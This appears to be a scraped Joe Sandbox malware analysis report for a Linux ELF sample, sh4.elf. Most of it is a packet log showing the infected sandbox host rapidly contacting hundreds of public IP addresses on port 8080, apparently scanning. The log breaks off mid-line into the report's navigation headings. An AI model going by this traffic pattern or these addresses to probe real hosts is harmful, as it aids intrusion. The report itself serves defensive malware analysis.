Feb 19, 2025 19:48:58.123338938 CET	7173	8080	192.168.2.15	94.236.126.14
Feb 19, 2025 19:48:58.123356104 CET	7173	8080	192.168.2.15	62.37.145.40
Feb 19, 2025 19:48:58.123359919 CET	7173	8080	192.168.2.15	62.46.250.68
Feb 19, 2025 19:48:58.123363972 CET	7173	8080	192.168.2.15	94.74.93.179
Feb 19, 2025 19:48:58.123373985 CET	7173	8080	192.168.2.15	85.175.79.32
Feb 19, 2025 19:48:58.123385906 CET	7173	8080	192.168.2.15	94.154.98.29
Feb 19, 2025 19:48:58.123399973 CET	7173	8080	192.168.2.15	31.233.228.218
Feb 19, 2025 19:48:58.123413086 CET	7173	8080	192.168.2.15	94.97.202.162
Feb 19, 2025 19:48:58.123415947 CET	7173	8080	192.168.2.15	85.35.85.90
Feb 19, 2025 19:48:58.123418093 CET	7173	8080	192.168.2.15	94.156.65.108
Feb 19, 2025 19:48:58.123419046 CET	7173	8080	192.168.2.15	95.255.2.202
Feb 19, 2025 19:48:58.123418093 CET	7173	8080	192.168.2.15	62.41.78.45
Feb 19, 2025 19:48:58.123435020 CET	7173	8080	192.168.2.15	62.85.15.10
Feb 19, 2025 19:48:58.123445988 CET	7173	8080	192.168.2.15	94.99.178.216
Feb 19, 2025 19:48:58.123466969 CET	7173	8080	192.168.2.15	31.174.211.235
Feb 19, 2025 19:48:58.123475075 CET	7173	8080	192.168.2.15	62.230.210.145
Feb 19, 2025 19:48:58.123483896 CET	7173	8080	192.168.2.15	94.147.196.201
Feb 19, 2025 19:48:58.123483896 CET	7173	8080	192.168.2.15	62.230.175.111
Feb 19, 2025 19:48:58.123505116 CET	7173	8080	192.168.2.15	85.124.233.152
Feb 19, 2025 19:48:58.123505116 CET	7173	8080	192.168.2.15	31.124.206.96
Feb 19, 2025 19:48:58.123505116 CET	7173	8080	192.168.2.15	94.157.63.119
Feb 19, 2025 19:48:58.123517036 CET	7173	8080	192.168.2.15	85.233.152.237
Feb 19, 2025 19:48:58.123533964 CET	7173	8080	192.168.2.15	31.159.245.33
Feb 19, 2025 19:48:58.123548985 CET	7173	8080	192.168.2.15	62.216.195.247
Feb 19, 2025 19:48:58.123548985 CET	7173	8080	192.168.2.15	94.94.246.87
Feb 19, 2025 19:48:58.123563051 CET	7173	8080	192.168.2.15	95.80.113.62
Feb 19, 2025 19:48:58.123574018 CET	7173	8080	192.168.2.15	85.219.4.159
Feb 19, 2025 19:48:58.123578072 CET	7173	8080	192.168.2.15	62.239.106.158
Feb 19, 2025 19:48:58.123578072 CET	7173	8080	192.168.2.15	94.74.236.28
Feb 19, 2025 19:48:58.123579979 CET	7173	8080	192.168.2.15	94.238.35.66
Feb 19, 2025 19:48:58.123589039 CET	7173	8080	192.168.2.15	85.236.135.171
Feb 19, 2025 19:48:58.123599052 CET	7173	8080	192.168.2.15	94.160.207.44
Feb 19, 2025 19:48:58.123608112 CET	7173	8080	192.168.2.15	62.220.131.177
Feb 19, 2025 19:48:58.123622894 CET	7173	8080	192.168.2.15	31.14.193.238
Feb 19, 2025 19:48:58.123629093 CET	7173	8080	192.168.2.15	31.254.28.2
Feb 19, 2025 19:48:58.123645067 CET	7173	8080	192.168.2.15	31.150.55.118
Feb 19, 2025 19:48:58.123652935 CET	7173	8080	192.168.2.15	31.39.149.15
Feb 19, 2025 19:48:58.123670101 CET	7173	8080	192.168.2.15	94.196.84.58
Feb 19, 2025 19:48:58.123677015 CET	7173	8080	192.168.2.15	31.154.226.176
Feb 19, 2025 19:48:58.123677015 CET	7173	8080	192.168.2.15	62.132.0.52
Feb 19, 2025 19:48:58.123682976 CET	7173	8080	192.168.2.15	85.194.25.135
Feb 19, 2025 19:48:58.123688936 CET	7173	8080	192.168.2.15	94.126.62.197
Feb 19, 2025 19:48:58.123706102 CET	7173	8080	192.168.2.15	62.48.102.128
Feb 19, 2025 19:48:58.123707056 CET	7173	8080	192.168.2.15	94.88.82.62
Feb 19, 2025 19:48:58.123716116 CET	7173	8080	192.168.2.15	31.145.192.222
Feb 19, 2025 19:48:58.123718977 CET	7173	8080	192.168.2.15	94.171.190.28
Feb 19, 2025 19:48:58.123755932 CET	7173	8080	192.168.2.15	31.74.122.85
Feb 19, 2025 19:48:58.123755932 CET	7173	8080	192.168.2.15	85.134.62.106
Feb 19, 2025 19:48:58.123771906 CET	7173	8080	192.168.2.15	85.198.35.6
Feb 19, 2025 19:48:58.123780012 CET	7173	8080	192.168.2.15	85.24.145.158
Feb 19, 2025 19:48:58.123788118 CET	7173	8080	192.168.2.15	85.137.155.116
Feb 19, 2025 19:48:58.123788118 CET	7173	8080	192.168.2.15	94.15.174.233
Feb 19, 2025 19:48:58.123807907 CET	7173	8080	192.168.2.15	94.5.238.175
Feb 19, 2025 19:48:58.123807907 CET	7173	8080	192.168.2.15	95.99.215.63
Feb 19, 2025 19:48:58.123819113 CET	7173	8080	192.168.2.15	31.15.154.49
Feb 19, 2025 19:48:58.123827934 CET	7173	8080	192.168.2.15	94.124.131.216
Feb 19, 2025 19:48:58.123840094 CET	7173	8080	192.168.2.15	85.216.161.52
Feb 19, 2025 19:48:58.123852968 CET	7173	8080	192.168.2.15	85.145.82.51
Feb 19, 2025 19:48:58.123874903 CET	7173	8080	192.168.2.15	85.243.242.122
Feb 19, 2025 19:48:58.123874903 CET	7173	8080	192.168.2.15	95.208.151.71
Feb 19, 2025 19:48:58.123878956 CET	7173	8080	192.168.2.15	85.95.43.193
Feb 19, 2025 19:48:58.123878956 CET	7173	8080	192.168.2.15	94.183.103.132
Feb 19, 2025 19:48:58.123889923 CET	7173	8080	192.168.2.15	94.65.146.98
Feb 19, 2025 19:48:58.123895884 CET	7173	8080	192.168.2.15	95.60.19.213
Feb 19, 2025 19:48:58.123903036 CET	7173	8080	192.168.2.15	31.27.13.129
Feb 19, 2025 19:48:58.123915911 CET	7173	8080	192.168.2.15	31.34.162.189
Feb 19, 2025 19:48:58.123925924 CET	7173	8080	192.168.2.15	94.245.215.82
Feb 19, 2025 19:48:58.123934031 CET	7173	8080	192.168.2.15	62.157.41.117
Feb 19, 2025 19:48:58.123953104 CET	7173	8080	192.168.2.15	62.232.194.128
Feb 19, 2025 19:48:58.123956919 CET	7173	8080	192.168.2.15	95.30.210.159
Feb 19, 2025 19:48:58.123965979 CET	7173	8080	192.168.2.15	62.60.175.10
Feb 19, 2025 19:48:58.123970032 CET	7173	8080	192.168.2.15	31.253.60.15
Feb 19, 2025 19:48:58.123976946 CET	7173	8080	192.168.2.15	95.36.206.30
Feb 19, 2025 19:48:58.123989105 CET	7173	8080	192.168.2.15	94.255.168.116
Feb 19, 2025 19:48:58.123992920 CET	7173	8080	192.168.2.15	31.137.245.40
Feb 19, 2025 19:48:58.124012947 CET	7173	8080	192.168.2.15	31.47.113.211
Feb 19, 2025 19:48:58.124026060 CET	7173	8080	192.168.2.15	62.239.227.242
Feb 19, 2025 19:48:58.124044895 CET	7173	8080	192.168.2.15	85.74.82.125
Feb 19, 2025 19:48:58.124046087 CET	7173	8080	192.168.2.15	31.23.71.147
Feb 19, 2025 19:48:58.124046087 CET	7173	8080	192.168.2.15	62.111.220.199
Feb 19, 2025 19:48:58.124049902 CET	7173	8080	192.168.2.15	62.223.76.182
Feb 19, 2025 19:48:58.124063969 CET	7173	8080	192.168.2.15	62.118.100.166
Feb 19, 2025 19:48:58.124069929 CET	7173	8080	192.168.2.15	95.52.87.46
Feb 19, 2025 19:48:58.124078989 CET	7173	8080	192.168.2.15	95.250.151.173
Feb 19, 2025 19:48:58.124093056 CET	7173	8080	192.168.2.15	95.23.232.108
Feb 19, 2025 19:48:58.124104023 CET	7173	8080	192.168.2.15	62.206.89.243
Feb 19, 2025 19:48:58.124119043 CET	7173	8080	192.168.2.15	94.153.123.150
Feb 19, 2025 19:48:58.124121904 CET	7173	8080	192.168.2.15	95.198.46.70
Feb 19, 2025 19:48:58.124139071 CET	7173	8080	192.168.2.15	95.215.218.60
Feb 19, 2025 19:48:58.124139071 CET	7173	8080	192.168.2.15	31.187.178.119
Feb 19, 2025 19:48:58.124145985 CET	7173	8080	192.168.2.15	31.165.170.240
Feb 19, 2025 19:48:58.124155998 CET	7173	8080	192.168.2.15	62.14.12.18
Feb 19, 2025 19:48:58.124176979 CET	7173	8080	192.168.2.15	94.58.202.222
Feb 19, 2025 19:48:58.124181986 CET	7173	8080	192.168.2.15	95.194.79.20
Feb 19, 2025 19:48:58.124195099 CET	7173	8080	192.168.2.15	94.102.204.6
Feb 19, 2025 19:48:58.124202013 CET	7173	8080	192.168.2.15	62.205.122.224
Feb 19, 2025 19:48:58.124205112 CET	7173	8080	192.168.2.15	31.182.193.182
Feb 19, 2025 19:48:58.124205112 CET	7173	8080	192.168.2.15	62.159.75.177
Feb 19, 2025 19:48:58.124207973 CET	7173	8080	192.168.2.15	31.4.43.120
Feb 19, 2025 19:48:58.124218941 CET	7173	8080	192.168.2.15	31.37.243.101
Feb 19, 2025 19:48:58.124237061 CET	7173	8080	192.168.2.15	31.155.221.4
Feb 19, 2025 19:48:58.124237061 CET	7173	8080	192.168.2.15	85.75.162.112
Feb 19, 2025 19:48:58.124243975 CET	7173	8080	192.168.2.15	95.114.60.182
Feb 19, 2025 19:48:58.124248981 CET	7173	8080	192.168.2.15	95.129.154.88
Feb 19, 2025 19:48:58.124267101 CET	7173	8080	192.168.2.15	31.187.58.122
Feb 19, 2025 19:48:58.124267101 CET	7173	8080	192.168.2.15	95.32.23.237
Feb 19, 2025 19:48:58.124268055 CET	7173	8080	192.168.2.15	95.119.58.92
Feb 19, 2025 19:48:58.124285936 CET	7173	8080	192.168.2.15	94.186.101.20
Feb 19, 2025 19:48:58.124288082 CET	7173	8080	192.168.2.15	31.32.83.222
Feb 19, 2025 19:48:58.124294996 CET	7173	8080	192.168.2.15	31.187.100.163
Feb 19, 2025 19:48:58.124303102 CET	7173	8080	192.168.2.15	95.40.61.176
Feb 19, 2025 19:48:58.124317884 CET	7173	8080	192.168.2.15	95.31.25.19
Feb 19, 2025 19:48:58.124320030 CET	7173	8080	192.168.2.15	31.56.10.151
Feb 19, 2025 19:48:58.124335051 CET	7173	8080	192.168.2.15	31.120.241.115
Feb 19, 2025 19:48:58.124341011 CET	7173	8080	192.168.2.15	95.58.137.58
Feb 19, 2025 19:48:58.124353886 CET	7173	8080	192.168.2.15	94.139.103.32
Feb 19, 2025 19:48:58.124355078 CET	7173	8080	192.168.2.15	95.70.103.154
Feb 19, 2025 19:48:58.124361038 CET	7173	8080	192.168.2.15	85.243.129.124
Feb 19, 2025 19:48:58.124375105 CET	7173	8080	192.168.2.15	94.29.239.141
Feb 19, 2025 19:48:58.124385118 CET	7173	8080	192.168.2.15	95.195.84.103
Feb 19, 2025 19:48:58.124401093 CET	7173	8080	192.168.2.15	62.135.112.201
Feb 19, 2025 19:48:58.124403954 CET	7173	8080	192.168.2.15	62.222.61.201
Feb 19, 2025 19:48:58.124420881 CET	7173	8080	192.168.2.15	94.175.35.85
Feb 19, 2025 19:48:58.124439955 CET	7173	8080	192.168.2.15	94.184.134.164
Feb 19, 2025 19:48:58.124439955 CET	7173	8080	192.168.2.15	31.40.156.65
Feb 19, 2025 19:48:58.124444008 CET	7173	8080	192.168.2.15	31.113.23.239
Feb 19, 2025 19:48:58.124452114 CET	7173	8080	192.168.2.15	62.29.235.103
Feb 19, 2025 19:48:58.124456882 CET	7173	8080	192.168.2.15	31.101.253.82
Feb 19, 2025 19:48:58.124461889 CET	7173	8080	192.168.2.15	94.93.224.4
Feb 19, 2025 19:48:58.124485016 CET	7173	8080	192.168.2.15	94.59.252.188
Feb 19, 2025 19:48:58.124485970 CET	7173	8080	192.168.2.15	62.190.149.18
Feb 19, 2025 19:48:58.124489069 CET	7173	8080	192.168.2.15	95.162.132.121
Feb 19, 2025 19:48:58.124510050 CET	7173	8080	192.168.2.15	95.227.245.52
Feb 19, 2025 19:48:58.124527931 CET	7173	8080	192.168.2.15	85.124.130.61
Feb 19, 2025 19:48:58.124528885 CET	7173	8080	192.168.2.15	95.18.245.96
Feb 19, 2025 19:48:58.124535084 CET	7173	8080	192.168.2.15	85.71.208.162
Feb 19, 2025 19:48:58.124547958 CET	7173	8080	192.168.2.15	85.236.95.102
Feb 19, 2025 19:48:58.124562025 CET	7173	8080	192.168.2.15	94.12.230.158
Feb 19, 2025 19:48:58.124563932 CET	7173	8080	192.168.2.15	62.209.218.65
Feb 19, 2025 19:48:58.124574900 CET	7173	8080	192.168.2.15	62.93.118.247
Feb 19, 2025 19:48:58.124577045 CET	7173	8080	192.168.2.15	31.136.50.43
Feb 19, 2025 19:48:58.124584913 CET	7173	8080	192.168.2.15	94.191.146.169
Feb 19, 2025 19:48:58.124599934 CET	7173	8080	192.168.2.15	95.228.72.223
Feb 19, 2025 19:48:58.124600887 CET	7173	8080	192.168.2.15	62.182.223.156
Feb 19, 2025 19:48:58.124608040 CET	7173	8080	192.168.2.15	31.151.97.29
Feb 19, 2025 19:48:58.124618053 CET	7173	8080	192.168.2.15	94.11.206.185
Feb 19, 2025 19:48:58.124631882 CET	7173	8080	192.168.2.15	95.42.185.7
Feb 19, 2025 19:48:58.124639988 CET	7173	8080	192.168.2.15	94.63.19.50
Feb 19, 2025 19:48:58.124646902 CET	7173	8080	192.168.2.15	62.12.106.111
Feb 19, 2025 19:48:58.124664068 CET	7173	8080	192.168.2.15	62.218.147.65
Feb 19, 2025 19:48:58.124684095 CET	7173	8080	192.168.2.15	95.100.90.15
Feb 19, 2025 19:48:58.124685049 CET	7173	8080	192.168.2.15	62.152.252.186
Feb 19, 2025 19:48:58.124685049 CET	7173	8080	192.168.2.15	31.77.97.25
Feb 19, 2025 19:48:58.124694109 CET	7173	8080	192.168.2.15	94.187.151.74
Feb 19, 2025 19:48:58.124710083 CET	7173	8080	192.168.2.15	85.153.250.107
Feb 19, 2025 19:48:58.124711037 CET	7173	8080	192.168.2.15	95.229.226.44
Feb 19, 2025 19:48:58.124728918 CET	7173	8080	192.168.2.15	95.237.117.29
Feb 19, 2025 19:48:58.124731064 CET	7173	8080	192.168.2.15	85.182.139.184
Feb 19, 2025 19:48:58.124742031 CET	7173	8080	192.168.2.15	62.100.21.113
Feb 19, 2025 19:48:58.124757051 CET	7173	8080	192.168.2.15	94.22.71.217
Feb 19, 2025 19:48:58.124761105 CET	7173	8080	192.168.2.15	62.102.99.87
Feb 19, 2025 19:48:58.124769926 CET	7173	8080	192.168.2.15	95.162.242.134
Feb 19, 2025 19:48:58.124789000 CET	7173	8080	192.168.2.15	94.173.31.29
Feb 19, 2025 19:48:58.124793053 CET	7173	8080	192.168.2.15	31.40.107.178
Feb 19, 2025 19:48:58.124803066 CET	7173	8080	192.168.2.15	85.24.101.55
Feb 19, 2025 19:48:58.124814987 CET	7173	8080	192.168.2.15	94.121.43.78
Feb 19, 2025 19:48:58.124820948 CET	7173	8080	192.168.2.15	31.76.221.60
Feb 19, 2025 19:48:58.124836922 CET	7173	8080	192.168.2.15	62.236.95.255
Feb 19, 2025 19:48:58.124849081 CET	7173	8080	192.168.2.15	94.148.146.131
Feb 19, 2025 19:48:58.124864101 CET	7173	8080	192.168.2.15	31.93.193.177
Feb 19, 2025 19:48:58.124864101 CET	7173	8080	192.168.2.15	95.114.220.85
Feb 19, 2025 19:48:58.124881983 CET	7173	8080	192.168.2.15	31.81.160.5
Feb 19, 2025 19:48:58.124881983 CET	7173	8080	192.168.2.15	31.202.73.16
Feb 19, 2025 19:48:58.124902010 CET	7173	8080	192.168.2.15	94.155.241.25
Feb 19, 2025 19:48:58.124902964 CET	7173	8080	192.168.2.15	95.31.213.1
Feb 19, 2025 19:48:58.124902964 CET	7173	8080	192.168.2.15	94.202.111.8
Feb 19, 2025 19:48:58.124905109 CET	7173	8080	192.168.2.15	31.89.103.94
Feb 19, 2025 19:48:58.124908924 CET	7173	8080	192.168.2.15	62.13.241.45
Feb 19, 2025 19:48:58.124922991 CET	7173	8080	192.168.2.15	95.93.72.103
Feb 19, 2025 19:48:58.124933004 CET	7173	8080	192.168.2.15	95.235.141.81
Feb 19, 2025 19:48:58.124948978 CET	7173	8080	192.168.2.15	31.206.174.56
Feb 19, 2025 19:48:58.124959946 CET	7173	8080	192.168.2.15	95.97.198.3
Feb 19, 2025 19:48:58.124960899 CET	7173	8080	192.168.2.15	62.129.127.85
Feb 19, 2025 19:48:58.124967098 CET	7173	8080	192.168.2.15	85.2.104.141
Feb 19, 2025 19:48:58.124975920 CET	7173	8080	192.168.2.15	62.93.253.97
Feb 19, 2025 19:48:58.124985933 CET	7173	8080	192.168.2.15	85.66.173.54
Feb 19, 2025 19:48:58.125017881 CET	7173	8080	192.168.2.15	94.31.188.222
Feb 19, 2025 19:48:58.125017881 CET	7173	8080	192.168.2.15	85.239.196.188
Feb 19, 2025 19:48:58.125017881 CET	7173	8080	192.168.2.15	95.6.251.30
Feb 19, 2025 19:48:58.125024080 CET	7173	8080	192.168.2.15	62.86.71.59
Feb 19, 2025 19:48:58.125036001 CET	7173	8080	192.168.2.15	31.65.162.156
Feb 19, 2025 19:48:58.125056028 CET	7173	8080	192.168.2.15	95.4.9.124
Feb 19, 2025 19:48:58.125057936 CET	7173	8080	192.168.2.15	95.28.62.226
Feb 19, 2025 19:48:58.125070095 CET	7173	8080	192.168.2.15	94.72.91.85
Feb 19, 2025 19:48:58.125076056 CET	7173	8080	192.168.2.15	31.95.79.39
Feb 19, 2025 19:48:58.125092030 CET	7173	8080	192.168.2.15	95.103.91.161
Feb 19, 2025 19:48:58.125094891 CET	7173	8080	192.168.2.15	94.75.222.254
Feb 19, 2025 19:48:58.125094891 CET	7173	8080	192.168.2.15	31.37.6.223
Feb 19, 2025 19:48:58.125103951 CET	7173	8080	192.168.2.15	85.177.232.149
Feb 19, 2025 19:48:58.125109911 CET	7173	8080	192.168.2.15	62.89.246.146
Feb 19, 2025 19:48:58.125123024 CET	7173	8080	192.168.2.15	94.184.186.124
Feb 19, 2025 19:48:58.125144958 CET	7173	8080	192.168.2.15	94.130.154.253
Feb 19, 2025 19:48:58.125144958 CET	7173	8080	192.168.2.15	94.123.93.152
Feb 19, 2025 19:48:58.125154972 CET	7173	8080	192.168.2.15	95.238.192.59
Feb 19, 2025 19:48:58.125160933 CET	7173	8080	192.168.2.15	85.58.132.167
Feb 19, 2025 19:48:58.125180006 CET	7173	8080	192.168.2.15	95.212.218.90
Feb 19, 2025 19:48:58.125188112 CET	7173	8080	192.168.2.15	85.7.6.111
Feb 19, 2025 19:48:58.125206947 CET	7173	8080	192.168.2.15	62.131.186.83
Feb 19, 2025 19:48:58.125215054 CET	7173	8080	192.168.2.15	85.67.239.175
Feb 19, 2025 19:48:58.125222921 CET	7173	8080	192.168.2.15	62.80.29.119
Feb 19, 2025 19:48:58.125233889 CET	7173	8080	192.168.2.15	62.205.56.62
Feb 19, 2025 19:48:58.125233889 CET	7173	8080	192.168.2.15	94.29.236.64
Feb 19, 2025 19:48:58.125247002 CET	7173	8080	192.168.2.15	31.161.90.29
Feb 19, 2025 19:48:58.125262976 CET	7173	8080	192.168.2.15	62.93.19.186
Feb 19, 2025 19:48:58.125262976 CET	7173	8080	192.168.2.15	62.45.194.140
Feb 19, 2025 19:48:58.125273943 CET	7173	8080	192.168.2.15	95.40.238.195
Feb 19, 2025 19:48:58.125276089 CET	7173	8080	192.168.2.15	62.174.225.48
Feb 19, 2025 19:48:58.125287056 CET	7173	8080	192.168.2.15	62.227.241.106
Feb 19, 2025 19:48:58.125317097 CET	7173	8080	192.168.2.15	94.230.122.137
Feb 19, 2025 19:48:58.125327110 CET	7173	8080	192.168.2.15	31.38.28.39
Feb 19, 2025 19:48:58.125335932 CET	7173	8080	192.168.2.15	94.200.207.203
Feb 19, 2025 19:48:58.125335932 CET	7173	8080	192.168.2.15	95.154.7.30
Feb 19, 2025 19:48:58.125336885 CET	7173	8080	192.168.2.15	95.107.93.212
Feb 19, 2025 19:48:58.125340939 CET	7173	8080	192.168.2.15	94.178.234.110
Feb 19, 2025 19:48:58.125341892 CET	7173	8080	192.168.2.15	95.233.176.10
Feb 19, 2025 19:48:58.125341892 CET	7173	8080	192.168.2.15	31.216.0.198
Feb 19, 2025 19:48:58.125353098 CET	7173	8080	192.168.2.15	94.46.64.137
Feb 19, 2025 19:48:58.125363111 CET	7173	8080	192.168.2.15	62.29.168.114
Feb 19, 2025 19:48:58.125368118 CET	7173	8080	192.168.2.15	95.221.223.205
Feb 19, 2025 19:48:58.125379086 CET	7173	8080	192.168.2.15	62.52.229.202
Feb 19, 2025 19:48:58.125397921 CET	7173	8080	192.168.2.15	62.178.34.22
Feb 19, 2025 19:48:58.125408888 CET	7173	8080	192.168.2.15	31.84.253.220
Feb 19, 2025 19:48:58.125427961 CET	7173	8080	192.168.2.15	85.250.19.72
Feb 19, 2025 19:48:58.125432968 CET	7173	8080	192.168.2.15	31.89.179.223
Feb 19, 2025 19:48:58.125435114 CET	7173	8080	192.168.2.15	31.152.221.34
Feb 19, 2025 19:48:58.125449896 CET	7173	8080	192.168.2.15	95.25.187.108
Feb 19, 2025 19:48:58.125482082 CET	7173	8080	192.168.2.15	95.50.163.55
Feb 19, 2025 19:48:58.125482082 CET	7173	8080	192.168.2.15	95.131.26.241
Feb 19, 2025 19:48:58.125483036 CET	7173	8080	192.168.2.15	31.73.97.177
Feb 19, 2025 19:48:58.125500917 CET	7173	8080	192.168.2.15	31.244.160.160
Feb 19, 2025 19:48:58.125500917 CET	7173	8080	192.168.2.15	95.198.247.17
Feb 19, 2025 19:48:58.125500917 CET	7173	8080	192.168.2.15	31.49.2.120
Feb 19, 2025 19:48:58.125509977 CET	7173	8080	192.168.2.15	62.162.174.196
Feb 19, 2025 19:48:58.125520945 CET	717

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Linux Analysis Report
sh4.elf